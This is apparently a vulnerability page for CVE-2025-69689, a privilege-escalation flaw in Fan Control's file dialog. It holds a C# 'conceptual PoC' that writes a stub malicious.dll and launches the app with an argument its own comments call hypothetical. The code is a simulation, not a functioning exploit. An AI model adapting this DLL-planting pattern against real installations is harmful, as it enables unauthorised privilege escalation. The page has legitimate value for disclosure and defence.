CVE-2025-69689 Fan Control权限提升漏洞

// Conceptual PoC for Privilege Escalation in File Dialog // This is a simulation of how an attacker might prepare the environment. using System; using System.Diagnostics; using System.IO; public class ExploitDemo { public static void Main(string[] args) { // Step 1: Identify the vulnerable application path string appPath = @"C:\Program Files\FanControl\FanControl.exe"; // Step 2: Create a malicious payload (e.g., a DLL) // In a real scenario, this DLL would contain malicious code. string maliciousDllPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), "malicious.dll"); File.WriteAllBytes(maliciousDllPath, new byte[] { 0x4D, 0x5A }); // Dummy MZ header Console.WriteLine($"[+] Created malicious payload at: {maliciousDllPath}"); // Step 3: Trigger the Open File Dialog logic // The attacker would need to interact with the application's API or UI // to point the elevated dialog to the malicious file location. // Since the dialog processes paths with elevated privileges, // loading this file could result in privilege escalation. Console.WriteLine("[+] Attempting to trigger vulnerable file dialog..."); try { Process.Start(new ProcessStartInfo { FileName = appPath, Arguments = $"--open \"{maliciousDllPath}\"", // Hypothetical argument UseShellExecute = true }); } catch (Exception ex) { Console.WriteLine($"[-] Error: {ex.Message}"); } } }